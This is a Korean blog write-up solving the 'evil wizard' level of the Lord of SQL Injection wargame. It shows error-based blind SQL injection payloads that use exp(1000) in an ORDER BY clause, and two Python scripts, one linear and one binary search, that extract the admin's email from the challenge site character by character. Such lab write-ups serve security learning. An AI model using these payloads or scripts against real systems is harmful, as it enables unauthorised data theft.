-
<Lord of SQL Injection> evil wizardWargame/Lord of SQL Injection 2021. 11. 26. 13:13
앞서 풀었던 'hell fire'와 비슷하지만 sleep과 benchmark를 필터링한다.
출제자의 의도와 달리 앞의 문제에서 exp(1000)을 이용해 문제를 풀었기 때문에 이 문제도 똑같이 풀면된다.
■참과 거짓 구분하기
?order=1 and id='rubiya' and if(substr(email,1,1)='r', exp(1000), 1)을 입력하면
rubiya의 email 첫 글자가 'r'로 참을 나타내므로 exp(1000)에 의해 테이블의 데이터가 출력되지 않는다.
?order=1 and id='rubiya' and if(substr(email,1,1)='a', exp(1000), 1)를 입력하면
테이블의 데이터가 출력된다.
즉, 참일 때는 테이블의 데이터가 출력되지 않고, 거짓일 때 테이블의 데이터가 출력된다.
■admin의 email 길이 구하기
?order=1 and id='admin' and if(length(email)>20, exp(1000), 1)을 입력하면
테이블의 데이터가 출력되지 않으므로 admin의 email 길이가 20보다 크다
?order=1 and id='admin' and if(length(email)=30, exp(1000), 1)를 입력하면
테이블의 데이터가 출력되지 않으므로 admin의 email 길이가 30이다.
■admin의 email 구하기
ascii나 substr을 필터링 하지 않으므로
?order=1 and id='admin' and if(ascii(substr(email,1,1))=97, exp(1000), 1)를 입력하면
참인 것을 알 수 있다.
따라서, admin의 email 첫 글자는 'a'로 시작한다.
?order=1 and id='admin' and if(ascii(substr(email,구하고자 하는 위치,1))=아스키 코드, exp(1000), 1)를 활용하고,
참일 때 테이블의 데이터가 출력되지 않으므로 'rubiya'가 존재하는지 존재하지 않는지로 구분해서 구할 수 있다.
파이썬 코드를 이용해 나머지 글자들도 구해보면
import requests baseurl = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php" cookies = {"PHPSESSID" : "PHPSESSID"} want_str = "rubiya" email = "" for i in range(1, 31): for j in range(33, 127): url = baseurl + "?order=1 and id='admin' and if(ascii(substr(email,{},1))={},exp(1000),1)".format(i,j) res = requests.get(url=url, cookies=cookies) print(url) if want_str not in res.text: email += chr(j) print("email : ", email) break print("email : ", email)
?email=aasup3r_secure_email@emai1.com를 입력하면
문제를 해결할 수 있다.
다소 시간이 많이 걸린다.
이분탐색을 이용하면 훨씬 더 빨리 email을 구할 수 있다.
import requests baseurl = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php" cookies = {"PHPSESSID" : "PHPSESSID 값"} want_str = "rubiya" email = "" for i in range(1, 31): start = 33 end = 128 while (start != end): mid = (start+end) // 2 url = baseurl + "?order=1 and id='admin' and if(ascii(substr(email,{},1))>{},exp(1000),1)".format(i, mid) res = requests.get(url=url, cookies=cookies) if want_str not in res.text: start = mid + 1 else: end = mid email += chr(start) print("email : ", email) print("email : ", email)
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> red dragon (0) 2021.11.28 <Lord of SQL Injection> green dragon (0) 2021.11.27 <Lord of SQL Injection> hell fire (0) 2021.11.25 <Lord of SQL Injection> dark eyes (0) 2021.11.24 <Lord of SQL Injection> iron_golem (0) 2021.11.23